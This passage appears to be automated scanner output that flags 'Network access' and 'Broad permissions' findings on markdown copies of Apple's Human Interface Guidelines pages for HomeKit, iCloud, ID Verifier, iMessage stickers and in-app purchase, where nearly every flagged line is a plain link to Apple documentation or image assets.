  • Network accessline 119
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/A7FCCDAF-8770-4E6C-86A2-56DDB2095E3E/9232_wide_250x141_1x.jpg) Explore wellbeing APIs in HealthKit ](https://developer.apple.com/videos/play/wwdc

skills/hig-technologies/references/homekit.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "HomeKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/homekit
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/homekit
  • Network accessline 9
    ![A sketch of the HomeKit icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/ebafbd857c
  • Network accessline 28
    For developer guidance, see [HomeKit](https://developer.apple.com/documentation/HomeKit). If you’re an MFi licensee, visit the [MFi portal](https://mfi.apple.com) for guidance on naming and messaging for accessory packaging.
  • Network accessline 30
    ## [Terminology and layout](https://developer.apple.com/design/human-interface-guidelines/homekit#Terminology-and-layout)
  • Network accessline 36
    In the HomeKit model, the [home](https://developer.apple.com/design/human-interface-guidelines/homekit#Homes) object is the root of a hierarchy that contains all other objects, such as [rooms](https://developer.apple.com/design/human-interf
  • Network accessline 38
    **Acknowledge the hierarchical model that HomeKit uses.** Even if your app doesn’t organize accessories by rooms and zones in its UI, it’s useful to reference the HomeKit model when helping people set up or control their accessories. People
  • Network accessline 46
    ### [Homes](https://developer.apple.com/design/human-interface-guidelines/homekit#Homes)
  • Network accessline 50
    ### [Rooms](https://developer.apple.com/design/human-interface-guidelines/homekit#Rooms)
  • Network accessline 54
    ### [Accessories, services, and characteristics](https://developer.apple.com/design/human-interface-guidelines/homekit#Accessories-services-and-characteristics)
  • Network accessline 58
    A controllable feature of an accessory, such as the switch on a connected light, is known as a _service_. Some accessories offer multiple services. For example, a connected garage door might let people control the light and the door separat
  • Network accessline 64
    ### [Actions and scenes](https://developer.apple.com/design/human-interface-guidelines/homekit#Actions-and-scenes)
  • Network accessline 74
    ### [Automations](https://developer.apple.com/design/human-interface-guidelines/homekit#Automations)
  • Network accessline 78
    ### [Zones](https://developer.apple.com/design/human-interface-guidelines/homekit#Zones)
  • Network accessline 82
    ## [Setup](https://developer.apple.com/design/human-interface-guidelines/homekit#Setup)
  • Network accessline 84
    **Use the system-provided setup flow to give people a familiar experience.** The HomeKit setup flow works more quickly than traditional setup flows because it lets people name accessories, join networks, pair with HomeKit, assign room and s
  • Network accessline 94
    ### [Help people choose useful names](https://developer.apple.com/design/human-interface-guidelines/homekit#Help-people-choose-useful-names)
  • Network accessline 109
    | Example service names   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Reading lamp
  • Network accessline 110
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Reading lamp   ![An X in a circle to indicate incorrect usage.](https://
  • Network accessline 111
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Reading lamp
  • Network accessline 112
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| 📚 lamp
  • Network accessline 113
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| 2nd garage door
  • Network accessline 114
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| #2 garage door
  • Network accessline 118
    ## [Siri interactions](https://developer.apple.com/design/human-interface-guidelines/homekit#Siri-interactions)
  • Network accessline 160
    **Offer shortcuts only for accessory-specific functionality that HomeKit doesn’t support.** HomeKit lets people use ordinary (or natural) language to control accessories without requiring any additional configuration, so you avoid confusing
  • Network accessline 164
    ## [Custom functionality](https://developer.apple.com/design/human-interface-guidelines/homekit#Custom-functionality)
  • Network accessline 168
    **Be clear about what people can do in your app and when they might want to use the Home app.** For example, if your app supports only lights, consider encouraging people to create a “Movie Time” scene that not only dims the lights, but als
  • Network accessline 174
    ### [Cameras](https://developer.apple.com/design/human-interface-guidelines/homekit#Cameras)
  • Network accessline 182
    ## [Using HomeKit icons](https://developer.apple.com/design/human-interface-guidelines/homekit#Using-HomeKit-icons)
  • Network accessline 186
    ![The HomeKit icon.](https://docs-assets.developer.apple.com/published/926a46dc1cdf9647a94303a329c43645/homekit-glyph%402x.png)
  • Network accessline 188
    In addition, you can use the Apple Home app icon when referencing the Apple Home app or in a button that opens the Apple Home app [product page](https://itunes.apple.com/us/app/home/id1110145103?mt=8) in the App Store.
  • Network accessline 190
    ![The Apple Home app icon, which includes a stylized house with a chimney on the right side of its roof, depicted in graduated shades of orange.](https://docs-assets.developer.apple.com/published/2dd7e937870e9cde3c818264d031e15c/homeapp-ico
  • Network accessline 192
    **Use only Apple-provided icons.** Don’t create your own HomeKit or Home app icon design or attempt to mimic the Apple-provided designs. Download HomeKit icons in [Resources](https://developer.apple.com/design/resources/).
  • Network accessline 194
    ### [Styles](https://developer.apple.com/design/human-interface-guidelines/homekit#Styles)
  • Network accessline 198
    #### [Black HomeKit icon](https://developer.apple.com/design/human-interface-guidelines/homekit#Black-HomeKit-icon)
  • Network accessline 202
    ![A black outlined HomeKit icon.](https://docs-assets.developer.apple.com/published/739a8ed96d427f7a1e8eb680feab203c/homekit-black-icon-set%402x.png)
  • Network accessline 204
    #### [White HomeKit icon](https://developer.apple.com/design/human-interface-guidelines/homekit#White-HomeKit-icon)
  • Network accessline 208
    ![A white outlined HomeKit icon.](https://docs-assets.developer.apple.com/published/86f0a2b6f128e579b0b2400f3e8c7fa7/homekit-white-icon-set%402x.png)
  • Network accessline 210
    #### [Custom color HomeKit icon](https://developer.apple.com/design/human-interface-guidelines/homekit#Custom-color-HomeKit-icon)
  • Network accessline 214
    ![A blue outlined HomeKit icon.](https://docs-assets.developer.apple.com/published/f7e6e6aaf077dbcb7cba53cbadf8436d/homekit-custom-color-icon-set%402x.png)
  • Network accessline 218
    ![An illustration of three app icons listed in a horizontal row. Text above the icons reads 'Integrate with'. The leftmost app icon is the HomeKit icon in a circle, above the text 'Apple HomeKit'. The remaining two app icons contain squares
  • Network accessline 222
    ![An illustration of an incorrectly used HomeKit icon in a circular button styled with a chrome appearance.](https://docs-assets.developer.apple.com/published/08c6b1888cd04ea864bfe8d037eb1814/homekit-donot1%402x.png)
  • Network accessline 224
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 226
    ![An illustration of a button incorrectly titled 'HomeKit' with a custom gradient background.](https://docs-assets.developer.apple.com/published/0c8ae4ebd1f0d755d78391a46602eda0/homekit-donot2%402x.png)
  • Network accessline 228
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 230
    **Don’t use the HomeKit icon within text or as a replacement for the word HomeKit.** See [Referring to HomeKit](https://developer.apple.com/design/human-interface-guidelines/homekit#Referring-to-HomeKit) to learn how to properly reference H
  • Network accessline 232
    ![The first in a series of images showing examples of the HomeKit icon when used in text. In this example, the icon correctly appears first in the line, and then the text 'Lights set with HomeKit.'](https://docs-assets.developer.apple.com/p
  • Network accessline 234
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 236
    ![The second in a series of images showing examples of the HomeKit icon when used in text. This example depicts the icon incorrectly positioned after the word 'with' in the text 'Lights set with HomeKit.'](https://docs-assets.developer.appl
  • Network accessline 238
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 240
    ![The third in a series of images showing examples of the HomeKit icon when used in text. This example depicts the icon incorrectly positioned at the end of the line of text that reads 'Lights set with'.](https://docs-assets.developer.apple
  • Network accessline 242
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 244
    **Pair the icon with the name _HomeKit_ correctly.** You can show the name below or beside the icon if other technologies are referenced in this way. Use the same font that’s used on the rest of your layout. For related guidance, see [Refer
  • Network accessline 246
    ![An illustration of a view containing setup information within an app. The top of the view includes the title 'Setup' above a divider line. Three rows with icons, text, and disclosure buttons for displaying additional information appear be
  • Network accessline 248
    ![An illustration of a view containing a grid of four app buttons. The top of the view includes the title 'Apps' above a divider line. Two rows of buttons and labels appear below the divider. The first button in the first row includes the A
  • Network accessline 250
    ## [Referring to HomeKit](https://developer.apple.com/design/human-interface-guidelines/homekit#Referring-to-HomeKit)
  • Network accessline 254
    **Adhere to Apple’s trademark guidelines.** Apple trademarks can’t appear in your app name or images. In text, use Apple product names exactly as shown on the [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademar
  • Network accessline 271
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Use HomeKit to turn on your lights from your iPhone or 
  • Network accessline 272
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Use HomeKit to turn on your lights from your iPhone or iPad.   ![An X in
  • Network accessline 273
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Use HomeKit to turn on your lights from your iPhone or iPad.
  • Network accessline 274
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| Use HomeKit to turn on your lights from your iOS devices.
  • Network accessline 276
    See [Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html).
  • Network accessline 278
    ### [Referencing HomeKit and the Home app](https://developer.apple.com/design/human-interface-guidelines/homekit#Referencing-HomeKit-and-the-Home-app)
  • Network accessline 284
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [Brand] lightbulbs work with HomeKit.
  • Network accessline 285
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [Brand] lightbulbs work with HomeKit.   ![A checkmark in a circle to ind
  • Network accessline 286
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| [Brand] lightbulbs work with HomeKit.
  • Network accessline 287
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| HomeKit-enabled thermostat.
  • Network accessline 288
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| You can use HomeKit with [App Name].
  • Network accessline 289
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| HomeKit lightbulbs.
  • Network accessline 293
    |  Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Back door is unlocked with HomeKit.
  • Network accessline 294
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Back door is unlocked with HomeKit.   ![An X in a circle to indicate inc
  • Network accessline 295
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Back door is unlocked with HomeKit.
  • Network accessline 296
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| HomeKit unlocked the back door.
  • Network accessline 300
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Compatible with Apple HomeKit.
  • Network accessline 302
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Compatible with Apple HomeKit.
  • Network accessline 306
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Open HomeKit settings.
  • Network accessline 308
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Open HomeKit settings.
  • Network accessline 312
    | Example text   ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Open the Apple Home app.
  • Network accessline 313
    ---|---   ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Open the Apple Home app.   ![A checkmark in a circle to indicate correct
  • Network accessline 314
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Open the Apple Home app.
  • Network accessline 315
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Open the Apple Home app. Your accessory and room will now appear in the Home app.
  • Network accessline 316
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| Open Home.
  • Network accessline 318
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/homekit#Platform-considerations)
  • Network accessline 322
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/homekit#Resources)
  • Network accessline 324
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/homekit#Related)
  • Network accessline 326
    [Apple Design Resources](https://developer.apple.com/design/resources/)
  • Network accessline 328
    [Guidelines for Using Apple Trademarks and Copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html)
  • Network accessline 330
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/homekit#Developer-documentation)
  • Network accessline 332
    [HomeKit](https://developer.apple.com/documentation/HomeKit)
  • Network accessline 334
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/homekit#Videos)
  • Network accessline 336
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/8C81F0E7-2E4C-4F4F-82FE-A9EBC73A913D/5239_wide_250x141_1x.jpg) Add support for Matter in your smart home app ](https://developer.apple.com/videos/play/wwdc2021/10298)
  • Network accessline 338
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/homekit#Change-log)

skills/hig-technologies/references/icloud.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "iCloud | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/icloud
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/icloud
  • Network accessline 9
    ![A sketch of the iCloud icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/928d419006d
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/icloud#Best-practices)
  • Network accessline 33
    **For games, consider saving player progress in iCloud.** Although you can implement this functionality yourself, the GameSave framework offers an efficient solution. It synchronizes save data across devices and offers built-in alerts you c
  • Network accessline 35
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/icloud#Platform-considerations)
  • Network accessline 39
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/icloud#Resources)
  • Network accessline 41
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/icloud#Developer-documentation)
  • Network accessline 43
    [CloudKit](https://developer.apple.com/documentation/CloudKit)
  • Network accessline 45
    [GameSave](https://developer.apple.com/documentation/GameSave)
  • Network accessline 47
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/icloud#Change-log)

skills/hig-technologies/references/id-verifier.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "ID Verifier | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/id-verifier
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/id-verifier
  • Network accessline 9
    ![A sketch of progressively larger curved lines emerging from the bottom corner of an ID card, suggesting ID Verifier. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the origi
  • Network accessline 24
    * **Display Only request.** Use a Display Only request to display data — such as a person’s name or age alongside their photo portrait — within system-provided UI on the requester’s iPhone, so the requester can visually confirm the person’s
  • Network accessline 26
    * **Data Transfer request.** Use a Data Transfer request only when you have a legal verification requirement and you need to store or process information like a person’s address or date of birth. You must request an additional entitlement t
  • Network accessline 31
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Best-practices)
  • Network accessline 33
    **Ask only for the data you need.** People may lose trust in the experience if you ask for more data than you need to complete the current verification. For example, if you need to ensure that a customer is at least a minimum age, use a req
  • Network accessline 35
    **If your app qualifies for Apple Business Register, register for ID Verifier to ensure that people can view essential information about your organization when you make a request.** Registering for ID Verifier with Apple Business Register l
  • Network accessline 39
    Button type| Example usage   ---|---   ![An illustration of a Verify Age button.](https://docs-assets.developer.apple.com/published/68f99fdea3def2ba04aee092c3465400/id-verifier-button-age%402x.png)| An app that checks whether people are old
  • Network accessline 40
    ---|---   ![An illustration of a Verify Age button.](https://docs-assets.developer.apple.com/published/68f99fdea3def2ba04aee092c3465400/id-verifier-button-age%402x.png)| An app that checks whether people are old enough to attend an event or
  • Network accessline 41
    ![An illustration of a Verify Age button.](https://docs-assets.developer.apple.com/published/68f99fdea3def2ba04aee092c3465400/id-verifier-button-age%402x.png)| An app that checks whether people are old enough to attend an event or access a 
  • Network accessline 42
    ![An illustration of a Verify Identity button.](https://docs-assets.developer.apple.com/published/1e827d68149ef111a2ff7ebec21912a0/id-verifier-button-identity%402x.png)| An app that verifies whether specific identity information matches exp
  • Network accessline 46
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Platform-considerations)
  • Network accessline 50
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Resources)
  • Network accessline 52
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Related)
  • Network accessline 54
    [Apple Business Register](https://register.apple.com/services/login?returnTo=/signin/tap-to-present-id-on-iphone)
  • Network accessline 56
    [IDs in Wallet](https://learn.wallet.apple/id)
  • Network accessline 58
    [Identity verification](https://developer.apple.com/design/human-interface-guidelines/wallet#Identity-verification)
  • Network accessline 60
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Developer-documentation)
  • Network accessline 62
    [Adopting the Verifier API in your iPhone app](https://developer.apple.com/documentation/ProximityReader/adopting-the-verifier-api-in-your-iphone-app) — ProximityReader
  • Network accessline 64
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Videos)
  • Network accessline 66
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/0F2B5692-7E7D-4716-9E5F-63E4A4FA13ED/8168_wide_250x141_1x.jpg) What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 68
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Change-log)

skills/hig-technologies/references/imessage-apps-and-stickers.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "iMessage apps and stickers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers
  • Network accessline 9
    ![A sketch of the iMessage App Store icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published
  • Network accessline 11
    An iMessage app or sticker pack is available within the context of a Messages conversation and also in effects in both Messages and FaceTime. You can create an iMessage app or sticker pack as a standalone app or as an app extension within y
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Best-practices)
  • Network accessline 27
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Specifications)
  • Network accessline 29
    ### [Icon sizes](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Icon-sizes)
  • Network accessline 47
    ### [Sticker sizes](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Sticker-sizes)
  • Network accessline 51
    ![An illustration showing a grid of small stickers in the bottom half of an iPhone screen. Eight stickers are visible in the area, followed by a partial row of four, arranged in three rows.](https://docs-assets.developer.apple.com/published
  • Network accessline 55
    ![An illustration showing a grid of regular stickers in the bottom half of an iPhone screen. Six stickers are visible in the area, in two rows of three.](https://docs-assets.developer.apple.com/published/092a81eb61dbb7310098aecf4c0c73a7/sti
  • Network accessline 59
    ![An illustration showing a grid of large stickers in the bottom half of an iPhone screen. Two stickers are fully visible in the area, followed by a partial row of two additional stickers.](https://docs-assets.developer.apple.com/published/
  • Network accessline 63
    Create your sticker images using the following @3x dimensions for the sticker size you chose. If necessary, the system generates @2x and @1x versions by downscaling the images at runtime. For developer guidance, see [`MSStickerSize`](https:
  • Network accessline 80
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Platform-considerations)
  • Network accessline 84
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Resources)
  • Network accessline 86
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Related)
  • Network accessline 88
    [iMessage Apps and Stickers](https://developer.apple.com/imessage/)
  • Network accessline 90
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Developer-documentation)
  • Network accessline 92
    [Messages](https://developer.apple.com/documentation/Messages)
  • Network accessline 94
    [Adding Sticker packs and iMessage apps to the system Stickers app, Messages camera, and FaceTime](https://developer.apple.com/documentation/Messages/adding-sticker-packs-and-imessage-apps-to-the-system-stickers-app-messages-camera-and-face
  • Network accessline 96
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Videos)
  • Network accessline 98
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/FC4A4C67-CCE9-46D5-9376-D071D53B4FB2/1925_wide_250x141_1x.jpg) Express Yourself! ](https://developer.apple.com/videos/play/wwdc2017/820)
  • Network accessline 100
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Change-log)

skills/hig-technologies/references/in-app-purchase.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "In-app purchase | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/in-app-purchase
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/in-app-purchase
  • Network accessline 9
    ![A sketch of an add button, suggesting the purchase of additional digital assets within an app. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple lo
  • Network accessline 11
    You can also promote and offer in-app purchases directly through the App Store. For developer guidance, see [In-App Purchase](https://developer.apple.com/documentation/StoreKit/in-app-purchase).
  • Network accessline 15
    In-app purchase and [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay) are different technologies that support different use cases. Use in-app purchase to sell virtual goods in your app, such as premium con
  • Network accessline 30
    ![A screenshot of The Coast game’s in-app purchase store on iPad, featuring a row of five boosts that include lighthouse repairs and a power surge, above a row of five in-game maps with names like World Canals, The Great Lakes, and Famous B
  • Network accessline 32
    For marketing and business guidance, see [In-app purchase](https://developer.apple.com/in-app-purchase/) and [Auto-renewable subscriptions](https://developer.apple.com/app-store/subscriptions/). For information about what you can and can’t 
  • Network accessline 36
    For apps with exceptionally large, frequently updated catalogs of one-time purchases or subscription content from multiple creators, or apps that provide subscriptions with optional add-on content as a single purchase within the app, the Ad
  • Network accessline 38
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Best-practices)
  • Network accessline 40
    **Let people experience your app before making a purchase.** People may be more inclined to invest in paid items or features after they’ve enjoyed your app and discovered its value. If you offer auto-renewable subscriptions, consider suppor
  • Network accessline 48
    **Display your store only when people can make payments.** If someone canʼt make payments — for example, because of parental restrictions — consider hiding your store or displaying UI that explains why the store isnʼt available. For develop
  • Network accessline 52
    ### [Supporting Family Sharing](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Supporting-Family-Sharing)
  • Network accessline 58
    **Help people understand the benefits of Family Sharing and how to participate.** When you turn on Family Sharing, people can receive notifications about the change, depending on their current settings. For example, an existing subscriber w
  • Network accessline 62
    ### [Providing help with in-app purchases](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Providing-help-with-in-app-purchases)
  • Network accessline 64
    Sometimes, people need help with a purchase or want to request a refund. To help make this experience convenient, you can present custom UI within your app that provides assistance, offers alternative solutions, and helps people initiate th
  • Network accessline 68
    ![A partial screenshot of an app’s help screen on iPhone. The Back button is in the top-left of the screen. In a list titled ’How can we help?’ there are the following five help items, each of which can open a new screen: Missing a Purchase
  • Network accessline 74
    ![A partial screenshot of an app’s refund screen titled Request a Refund on iPhone. The Back button in the top-left of the screen is labeled 'Help' to indicate it takes people back to the help screen. In a list titled Purchases, the screen 
  • Network accessline 80
    ![A screenshot of the system-provided refund-request sheet on iPhone. The title Request Refund appears in the top center and a close button is in the top right. Below the title, the sheet displays the following information about the refund 
  • Network accessline 82
    ![A screenshot of the system-provided confirmation sheet on iPhone, which displays a checkmark icon and the title ’Your request has been submitted.’ Below the title, the sheet displays the following text: 'You’ll receive an email at chavez 
  • Network accessline 84
    **Avoid characterizing or providing guidance on Apple’s refund policies.** For example, don’t speculate about whether customers will receive the refund they request. To help people understand the refund-request process, you can provide a li
  • Network accessline 86
    ## [Auto-renewable subscriptions](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Auto-renewable-subscriptions)
  • Network accessline 88
    **Call attention to subscription benefits during onboarding.** By showing the value of your subscription when people first launch your app, you can educate them on how the app works and help them understand what they’ll gain by subscribing.
  • Network accessline 90
    ![A screenshot of the Wave Journal app running on iPhone. The bottom half of the screen includes a highlighted area with the first of five pages that describe the benefits of subscribing, a Try It Free button, and a Sign In button.](https:/
  • Network accessline 102
    ![A screenshot of a page titled Upgrade to Pro on a freemium app running on iPhone. The top half of the screen describes pro features and includes a close button in the top right. The bottom half of the screen shows two subscription options
  • Network accessline 104
    ![A screenshot of a metered paywall app running on iPhone that offers free viewing of a limited number of articles per month. The screen includes a message indicating that the reader has reached the free article limit for the month, above a
  • Network accessline 106
    ![A screenshot of the Wave Journal app running on iPhone. The bottom half of the screen includes a highlighted Try It Free button.](https://docs-assets.developer.apple.com/published/a66594e715ba9809c02ff2843dbc32d4/iphone-free-trial%402x.pn
  • Network accessline 112
    ### [Making signup effortless](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Making-signup-effortless)
  • Network accessline 135
    ![A screenshot of the Forest Explorer app running on iPhone. The screenshot displays a forested area as the first of three images in the top half of the screen. Below the image are three buttons with subscription options: Intrepid Pro, whic
  • Network accessline 139
    ![A screenshot of the Ocean Journal app running on Apple Watch, and displaying a modal view that describes a benefit of subscribing. Below the description area is a Subscribe Now button with subscription terms below it.](https://docs-assets
  • Network accessline 143
    ### [Supporting offer codes](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Supporting-offer-codes)
  • Network accessline 149
    * A _one-time use code_ is a unique code you generate in App Store Connect. People can redeem a one-time use code through a [redemption URL](https://developer.apple.com/help/app-store-connect/manage-subscriptions/set-up-offer-codes/#distrib
  • Network accessline 156
    For developer guidance on implementing offer codes, see [Offer codes](https://developer.apple.com/documentation/storekit/implementing-offer-codes-in-your-app) and [Set up offer codes](https://developer.apple.com/help/app-store-connect/manag
  • Network accessline 164
    **Consider supporting offer redemption within your app.** The system automatically provides screens that present the offer-redemption flow, whether people redeem the offer in your app or in the App Store. When you use StoreKit API to let pe
  • Network accessline 166
    ![A screenshot of the Forest Explorer app’s subscription sign-up page on iPhone. The Redeem Code button is highlighted out of the three subscription buttons.](https://docs-assets.developer.apple.com/published/d9787d1349b4d5b6a524d8a5debc4e4
  • Network accessline 168
    ![A screenshot of an app’s subscription settings screen on iPhone. It includes the app name, subscription level, price, and next billing date, above buttons for Manage Subscription, Restore Purchase, and Redeem Code.](https://docs-assets.de
  • Network accessline 172
    ![An illustration representing a code redemption screen on iPhone. The top of the screen contains a large icon area above the label Redeem Code and a text field containing placeholder text that says Enter Code. The bottom of the screen cont
  • Network accessline 174
    ![An illustration representing a code redemption screen on iPhone. The top of the screen contains a photo area. A small icon overlaps some of the lower-left corner of the photo area. Below the photo area is the label Offer Name in large tex
  • Network accessline 176
